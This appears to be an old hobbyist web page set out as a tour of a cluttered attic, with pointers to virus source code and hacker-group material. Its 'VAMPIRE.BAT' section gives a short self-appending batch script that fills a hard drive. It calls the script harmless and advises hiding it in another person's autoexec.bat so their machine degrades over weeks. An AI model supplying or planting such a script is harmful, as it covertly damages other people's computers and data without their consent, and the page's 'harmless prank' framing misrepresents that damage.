- The Attic -

Welcome to the attic.
Beneath the dust and cobwebs lie forgotten treasures and oddities.
Look around, you never know what you may find.

This web-page is still young. I will add bits and peices whenever possible, so you will have a constant supply of fresh material to explore. Feel free to have a wander through what I've done so far, and email me with your suggestions and comments.

Good luck!

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Introduction

Attics are wonderful things. Locked away in attics everywhere are all kinds of strange and bizzare things to find. This attic is no different than any you would find in a real home. There are multitudes of unusual, outdated, fanciful and outragous items hiding around here.

While mostly useless, the things you will find here will be bound to fascinate and entertain you. I will try and hide things away in every crevice and corner, so that if you look hard enough, you are bound to find a real treasure or two.

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In The Attic

The attic is cluttered, dusty and filled with junk. The afternoon sun shines through a narrow window, giving the entire room a golden hue. You stand in the middle of the room, on the staircase that leads below. Looking around the room, you can see that some attempt has been made to organize everything.

To The West:
Beside the window is a small desk. It is littered with papers and the draws are overflowing. Near the desk you see a waste-paper basket, filled with crumpled paper, and a filing cabinet storing paper in only slightly better shape.

To the North:
The wall is covered in grafitti. A much-used box of crayons sits on the floor.

To the East:
There is a huge metal chest, filled with who-knows-what.

To the South:
There is a book case. Supprisingly enough, some of the objects on the shelves actually are books!

Above your head:
There may be things hanging from the rafters.

Down Below:
This leads to the real world. Unfortunately there isn't one yet. :)

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On The Desk...

On the desk stands an old chess set.

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In The Draws...

There is a hex editor here. It's name is Dexter.

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In The Waste Paper Basket...

There's a scrap of paper with somthing about cats written on it. I don't know where it came from, and I don't care.

There's also somthing about viruses in here.

There's a book on the (cult) of (the) (dead) (cow), but it's been ripped into four parts.

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In The File Cabinet...

You find a research paper by the Underground Legion of Terroristic Research Activists, or ULTRA for short.

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The Writing On The Wall...

After staring at the childish scrawl for several minutes, you manage to decypher a number of comments:

If you want to add your own peice of gibberish, email me and I'll think about putting it up.

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In The Chest...

The chest is bare, except for a small jar of pus in the corner, and a huge pile of assembly source codes for viruses.

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On The Shelves...

Apart from the books, there is a memento from the Pacific sea.

Covered with dust is a magazine. According to the title, it's called the Legion Of Lucifer.

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On the rafters...

There is a vampire bat hanging from a rafter here!

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VAMPIRE.BAT

We have all heard of viruses, worms and trojans. I have created a new name to put on that list.
The vampire.

A vampire is a harmless batch program which affects the computer in such a way, that the computer appears to be either malfunctioning, or infected with a virus.

It can do this by changing the files around, or more often, by filling the entire hard drive with garbage.

Here is an example of a Vampire...

@echo off
cls
echo Please wait...
echo.
echo echo Vampire! >> vampire.bat
type vampire.bat >> vampire.bat

Simply type (or copy) the above text into Notepad or MS-DOS Edit and save it as vampire.bat and you're done!

When you run this as a program, it will proceed to fill up the entire hard-drive as fast as it can. It can be removed by deleting the file.

If you want to be more subtle, you can put it in their autoexec.bat and it will slowly eat up a bit of their hard-drive each time they turn their computer on, and make the computer take longer and longer to start.

If they turn their computer on almost every day, they should be stuffed within a few weeks. They can delete vampire.bat as often they want, but it will keep on coming back until their autoexec.bat is returned to normal. :)

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Places to do, and things to see.

(Or possibly the other way around)

The Motley Fool: Finance and Folly
Fortune City. Free web pages.
Anarchy Newsgroup.
Shenanigans Newsgroup. (Harmless practical jokes.)

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About This Page

This web page is still under construction.
I apologize for the inconvenience.

When complete, the text in this page will be filled with links to many interesting things. Until then, keep on dreaming! It's the only way to survive reality without becoming dull and boring, just like everyone else.

If you have any comments or suggestions, please email me.
[email protected]

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